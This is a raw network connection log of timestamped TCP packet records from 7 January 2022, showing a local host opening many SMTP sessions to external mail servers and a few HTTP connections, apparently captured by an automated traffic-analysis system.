Jan 7, 2022 15:54:59.520874977 CET	25	49837	104.47.59.161	192.168.2.3
Jan 7, 2022 15:54:59.520920992 CET	49837	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:54:59.651659012 CET	25	49837	104.47.59.161	192.168.2.3
Jan 7, 2022 15:54:59.651700020 CET	25	49837	104.47.59.161	192.168.2.3
Jan 7, 2022 15:54:59.651717901 CET	25	49837	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:01.698823929 CET	49830	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:01.853770971 CET	49839	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:55:01.957146883 CET	25	49839	104.47.70.33	192.168.2.3
Jan 7, 2022 15:55:01.957262993 CET	49839	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:55:02.060859919 CET	25	49839	104.47.70.33	192.168.2.3
Jan 7, 2022 15:55:02.060990095 CET	49839	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:55:02.163424015 CET	25	49839	104.47.70.33	192.168.2.3
Jan 7, 2022 15:55:02.163646936 CET	25	49839	104.47.70.33	192.168.2.3
Jan 7, 2022 15:55:02.170790911 CET	49839	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:55:02.198880911 CET	49838	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:02.274923086 CET	25	49839	104.47.70.33	192.168.2.3
Jan 7, 2022 15:55:02.275803089 CET	25	49839	104.47.70.33	192.168.2.3
Jan 7, 2022 15:55:02.275921106 CET	49839	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:55:02.275954008 CET	49839	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:55:02.276052952 CET	25	49839	104.47.70.33	192.168.2.3
Jan 7, 2022 15:55:02.276114941 CET	49839	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:55:02.378403902 CET	25	49839	104.47.70.33	192.168.2.3
Jan 7, 2022 15:55:02.378427982 CET	25	49839	104.47.70.33	192.168.2.3
Jan 7, 2022 15:55:02.378443003 CET	25	49839	104.47.70.33	192.168.2.3
Jan 7, 2022 15:55:03.339620113 CET	49832	25	192.168.2.3	193.239.71.113
Jan 7, 2022 15:55:08.216059923 CET	49838	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:08.825756073 CET	49840	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:08.826204062 CET	49841	25	192.168.2.3	193.239.71.113
Jan 7, 2022 15:55:08.871100903 CET	25	49840	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:08.871229887 CET	49840	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:08.878349066 CET	49842	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:08.918241978 CET	25	49840	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:08.918391943 CET	49840	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:08.920141935 CET	25	49842	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:08.920269966 CET	49842	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:08.963644028 CET	25	49842	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:08.963759899 CET	49842	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:08.963944912 CET	25	49840	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:08.964035034 CET	49840	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.004800081 CET	25	49842	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:09.005289078 CET	25	49842	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:09.005387068 CET	49842	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:09.008683920 CET	25	49840	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:09.008873940 CET	49840	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.046545982 CET	25	49842	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:09.047843933 CET	25	49842	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:09.047982931 CET	49842	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:09.048005104 CET	49842	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:09.048141003 CET	25	49842	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:09.048213005 CET	49842	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:09.054733038 CET	25	49840	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:09.054897070 CET	49840	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.054968119 CET	49840	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.055197954 CET	49843	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.089015007 CET	25	49842	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:09.089070082 CET	25	49842	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:09.089087009 CET	25	49842	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:09.089102983 CET	25	49842	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:09.097054958 CET	25	49843	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:09.097244024 CET	49843	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.099562883 CET	25	49840	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:09.099662066 CET	49840	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.099750042 CET	25	49840	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:09.100507021 CET	49840	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.141195059 CET	25	49843	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:09.141362906 CET	49843	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.183491945 CET	25	49843	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:09.183655977 CET	49843	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.225712061 CET	25	49843	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:09.225850105 CET	49843	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.269100904 CET	25	49843	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:09.269231081 CET	49843	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.269258976 CET	49843	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.311244011 CET	25	49843	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:09.311379910 CET	49843	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:09.311381102 CET	25	49843	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:09.311443090 CET	49843	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:10.451966047 CET	49844	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:10.620263100 CET	25	49844	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:10.620418072 CET	49844	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:10.787976027 CET	25	49844	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:10.788189888 CET	49844	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:10.955615044 CET	25	49844	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:10.955641031 CET	25	49844	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:10.955818892 CET	49844	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.121887922 CET	25	49844	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.122456074 CET	25	49844	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.122494936 CET	25	49844	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.122595072 CET	49844	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.122665882 CET	49844	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.122723103 CET	49844	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.129067898 CET	49846	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.290777922 CET	25	49844	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.290792942 CET	25	49844	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.297857046 CET	25	49846	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.298034906 CET	49846	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.326546907 CET	49852	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.466465950 CET	25	49846	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.468872070 CET	49846	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.493297100 CET	25	49852	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.495783091 CET	49852	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.635600090 CET	25	49846	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.635832071 CET	25	49846	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.635991096 CET	49846	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.662763119 CET	25	49852	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.662899971 CET	49852	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.802474976 CET	25	49846	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.803713083 CET	49853	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.804127932 CET	25	49846	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.804150105 CET	25	49846	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.804215908 CET	49846	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.804251909 CET	49846	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.804265976 CET	49846	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.887217045 CET	49841	25	192.168.2.3	193.239.71.113
Jan 7, 2022 15:55:11.972371101 CET	25	49853	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.972470045 CET	49853	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:11.972928047 CET	25	49846	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:11.972954988 CET	25	49846	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.030061960 CET	49855	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:12.070996046 CET	25	49855	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:12.071151972 CET	49855	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:12.113579035 CET	25	49855	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:12.113727093 CET	49855	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:12.139842987 CET	25	49853	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.139945030 CET	49853	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:12.154637098 CET	25	49855	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:12.155165911 CET	25	49855	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:12.155256987 CET	49855	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:12.193044901 CET	49852	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:12.196300983 CET	25	49855	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:12.197525978 CET	25	49855	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:12.197648048 CET	49855	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:12.197679043 CET	49855	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:12.197875977 CET	25	49855	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:12.197951078 CET	49855	25	192.168.2.3	104.47.13.33
Jan 7, 2022 15:55:12.238740921 CET	25	49855	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:12.238764048 CET	25	49855	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:12.238820076 CET	25	49855	104.47.13.33	192.168.2.3
Jan 7, 2022 15:55:12.278290033 CET	25	49852	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.278424025 CET	49852	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:12.306308985 CET	25	49853	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.306765079 CET	25	49853	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.306869984 CET	49853	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:12.444216967 CET	25	49852	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.445281982 CET	25	49852	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.445416927 CET	49852	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:12.445445061 CET	49852	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:12.445482016 CET	25	49852	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.445538998 CET	49852	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:12.473433018 CET	25	49853	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.474345922 CET	25	49853	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.474359989 CET	25	49853	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.474471092 CET	49853	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:12.475639105 CET	49853	25	192.168.2.3	104.47.73.161
Jan 7, 2022 15:55:12.611402035 CET	25	49852	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.611424923 CET	25	49852	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.640829086 CET	25	49853	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:12.640846014 CET	25	49853	104.47.73.161	192.168.2.3
Jan 7, 2022 15:55:13.357599020 CET	49858	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:13.522492886 CET	25	49858	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:13.525002956 CET	49858	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:13.811412096 CET	49859	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:13.848592043 CET	25	49858	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:13.848779917 CET	49858	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:14.013875961 CET	25	49858	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:14.013921976 CET	25	49858	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:14.014091969 CET	49858	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:14.179847956 CET	25	49858	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:14.179972887 CET	25	49858	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:14.180012941 CET	49858	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:14.180053949 CET	49858	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:14.180059910 CET	49858	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:14.345040083 CET	25	49858	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:14.345073938 CET	25	49858	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:15.356698036 CET	49866	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.404371977 CET	25	49866	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.404591084 CET	49866	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.453859091 CET	25	49866	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.453995943 CET	49866	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.501570940 CET	25	49866	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.503278971 CET	49866	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.551193953 CET	25	49866	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.551383972 CET	49866	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.600146055 CET	25	49866	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.600275040 CET	49866	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.600305080 CET	49866	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.600711107 CET	49868	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.644728899 CET	25	49868	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.644831896 CET	49868	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.648951054 CET	25	49866	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.649048090 CET	49866	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.649154902 CET	25	49866	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.649225950 CET	49866	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.690907001 CET	25	49868	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.691082954 CET	49868	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.733513117 CET	25	49868	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.733686924 CET	49868	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.776721001 CET	25	49868	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.776874065 CET	49868	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.820090055 CET	25	49868	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.820283890 CET	49868	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.820734024 CET	49868	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.862819910 CET	25	49868	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.862951040 CET	49868	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.862970114 CET	25	49868	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.863025904 CET	49868	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:15.863296032 CET	25	49868	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:15.863359928 CET	49868	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:16.432420969 CET	49875	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:55:16.535274982 CET	25	49875	104.47.58.161	192.168.2.3
Jan 7, 2022 15:55:16.538887978 CET	49875	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:55:16.642935038 CET	25	49875	104.47.58.161	192.168.2.3
Jan 7, 2022 15:55:16.643086910 CET	49875	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:55:16.745897055 CET	25	49875	104.47.58.161	192.168.2.3
Jan 7, 2022 15:55:16.746311903 CET	25	49875	104.47.58.161	192.168.2.3
Jan 7, 2022 15:55:16.746455908 CET	49875	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:55:16.825130939 CET	49859	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:16.849474907 CET	25	49875	104.47.58.161	192.168.2.3
Jan 7, 2022 15:55:16.850291014 CET	25	49875	104.47.58.161	192.168.2.3
Jan 7, 2022 15:55:16.850492954 CET	25	49875	104.47.58.161	192.168.2.3
Jan 7, 2022 15:55:16.850594044 CET	49875	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:55:16.850635052 CET	49875	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:55:16.850655079 CET	49875	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:55:16.953532934 CET	25	49875	104.47.58.161	192.168.2.3
Jan 7, 2022 15:55:16.953562021 CET	25	49875	104.47.58.161	192.168.2.3
Jan 7, 2022 15:55:17.587685108 CET	49883	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:17.719227076 CET	25	49883	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:17.719396114 CET	49883	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:17.723592043 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:17.861531019 CET	25	49883	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:17.861668110 CET	49883	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:17.887667894 CET	49841	25	192.168.2.3	193.239.71.113
Jan 7, 2022 15:55:17.909440994 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:17.909569025 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:17.992796898 CET	25	49883	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:17.993118048 CET	25	49883	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:17.993535042 CET	49883	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:18.125057936 CET	25	49883	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:18.126060963 CET	25	49883	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:18.126305103 CET	25	49883	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:18.126513004 CET	49883	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:18.126559973 CET	49883	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:18.126566887 CET	49883	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:18.130506992 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:18.133394957 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:18.257720947 CET	25	49883	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:18.257767916 CET	25	49883	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:18.319225073 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:18.326024055 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:18.327522993 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:18.525027990 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:18.525168896 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:18.654139042 CET	49890	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:18.720447063 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:18.720603943 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:18.785321951 CET	25	49890	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:18.785438061 CET	49890	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:18.917632103 CET	25	49890	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:18.919111013 CET	49890	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:18.946126938 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.011615992 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.011862040 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.012547016 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.050266981 CET	25	49890	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:19.050551891 CET	25	49890	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:19.050745010 CET	49890	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:19.182216883 CET	25	49890	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:19.183120966 CET	25	49890	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:19.183326960 CET	25	49890	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:19.183404922 CET	49890	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:19.183444977 CET	49890	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:19.183451891 CET	49890	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:55:19.198137999 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.198653936 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.198677063 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.198709965 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.198817015 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.198894024 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.314483881 CET	25	49890	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:19.314517975 CET	25	49890	104.47.59.161	192.168.2.3
Jan 7, 2022 15:55:19.385492086 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.385523081 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.385556936 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.385584116 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.385610104 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.385724068 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.385832071 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.385863066 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.572390079 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.572413921 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.572426081 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.572524071 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.572540998 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.572659016 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.572670937 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.572747946 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.572788000 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.572875977 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.572895050 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.573038101 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.573450089 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.573506117 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.573632002 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.574242115 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.758719921 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.758831978 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.758963108 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.759107113 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.759198904 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.759227037 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.759342909 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.760032892 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.760056019 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.760232925 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.760370970 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.760433912 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.760452986 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.760463953 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.760468960 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.760473013 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.760552883 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.760562897 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.760582924 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.760782957 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.760890961 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.760947943 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.763112068 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.945077896 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.945112944 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.945139885 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.945190907 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.945250034 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.945523977 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.945718050 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.945838928 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.945857048 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.945945978 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.946053028 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.946115971 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.947688103 CET	25	49884	148.163.149.218	192.168.2.3
